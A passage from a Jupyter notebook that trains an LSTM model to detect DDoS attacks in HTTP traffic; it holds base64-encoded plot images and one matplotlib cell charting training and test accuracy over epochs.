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\n",
365 | "text/plain": [
366 | ""
367 | ]
368 | },
369 | "metadata": {},
370 | "output_type": "display_data"
371 | }
372 | ],
373 | "source": [
374 | "\n",
375 | "plt.plot(history.history['accuracy'])\n",
376 | "plt.plot(history.history['val_accuracy'])\n",
377 | "plt.title('LSTM model For DDoS detection HTTP traffic')\n",
378 | "plt.ylabel('Accuracy')\n",
379 | "plt.xlabel('Epoch')\n",
380 | "plt.legend(['Train', 'Test'], loc='lower right')\n",
381 | "\n",
382 | "plt.show()"
383 | ]
384 | },
385 | {
386 | "cell_type": "code",
387 | "execution_count": 22,
388 | "id": "60fe2ad7",
389 | "metadata": {},
390 | "outputs": [
391 | {
392 | "data": {
393 | "image/png": "iVBORw0KGgoAAAANSUhEUgAAAYoAAAEXCAYAAACzhgONAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuNCwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8QVMy6AAAACXBIWXMAAAsTAAALEwEAmpwYAABPtElEQVR4nO3dd3wVVf7/8dfM3HtzUwkJKUBCD4Ri6AKhSJHeURRFxQLK6q6Kq6i7Kq5iQ1n8revqd22rKyIWikHaKihIQm+hJyCQUJJAaKm3zPz+CEQiyU0hNzfl83w8duXOPTPzvhPI586ZmXMUwzAMhBBCiBKong4ghBCiepNCIYQQwiUpFEIIIVySQiGEEMIlKRRCCCFckkIhhBDCJZOnAwjPSE1NZfTo0ezYsaPY9z/44AOWLVuGYRjouk7fvn2ZMWMGeXl53H333QDk5OSQlpZG8+bNAYiNjaV///7cc889jBs3jjfeeKPINu+++2727NlT7D4HDhyI2WzGarViGAaGYTBixAimTZuGyWRi06ZNTJs2rXBfuq5Tv359pk+fTmxsbKmf9/Dhw7zxxhucOnUKgHr16vH444/TrVu3a9refffdTJ48mWHDhpW63YpIS0vjscce48svvyzzOps2beLll19m2bJlRZY/88wzREVF0bZt28LjfebMGZxOJ2FhYQA89NBD/N///R9Q8s/syrFVFAXDMNA0jT/+8Y8MHDjwmhzX83N47rnnmDRpEh06dCjzZy+LS5cu8cgjj/DZZ59V6nbFZYaok1JSUoxOnToV+97y5cuN2267zcjNzTUMwzDy8vKMBx980Jg7d26Rdhs3bjRGjhx5zbLevXsb3bt3N3JycgqXp6amGr179y5xnwMGDDB2795d+Do7O9v4wx/+YLz00ksl7mv//v1GbGyssXPnzlI/74gRI4zVq1cXvt68ebPRpUsX49y5c9e0veuuu4wVK1aUus2qVNznNwzDePrpp40PP/ywyLJ//OMfxt/+9rcyb6ekY9upUyfj7NmzZWpb1p/D73/OlcXV32dx/aTrSVwjIyMDp9NJXl4eAF5eXjz//PPcfPPNZVo/MDCQrl278sMPPxQuW7JkCaNHjy5zBh8fH1544QUWLlxIVlZWsW2io6O5++67+c9//gPA6dOnmT59OqNHj2bUqFF8+OGHRT5TTk5O4evu3bvz9ttvo2mayxw//PAD48aNY8yYMdxxxx3s3r0bKDhDmTRpEhMmTGD8+PHMnz/f5fKrpaam0rlzZwDeeecdnnnmGR544AGGDRvGlClTSE9PL/Nxcpfo6GisVisnTpwoU9urfw47d+5k8uTJTJw4kf79+/OXv/wFgHnz5pGens6TTz7Jrl27SmzncDiYNWsWo0ePZsKECTz66KNkZ2cDsH37du68807Gjx/PLbfcwtq1awF49tlnycvLY+zYsTidTjcckbpNCoW4xvjx4wkICKBPnz7cfvvtvP7665w6dYqYmJgyb2PcuHEsXbq08PWKFSsYNWpUuXKEh4fj5+fHkSNHSmwTHR3NoUOHAHjyySfp0aMHcXFxLFiwgO+++47vv/8egBdeeIHZs2fTp08fHnvsMT7//HNuuOEG/P39S9z24cOHmTVrFu+88w7fffcdjz76KA8//DBZWVl89NFHDBw4kEWLFvHvf/+brVu3out6ictd2bp1K//v//0/Vq5cibe3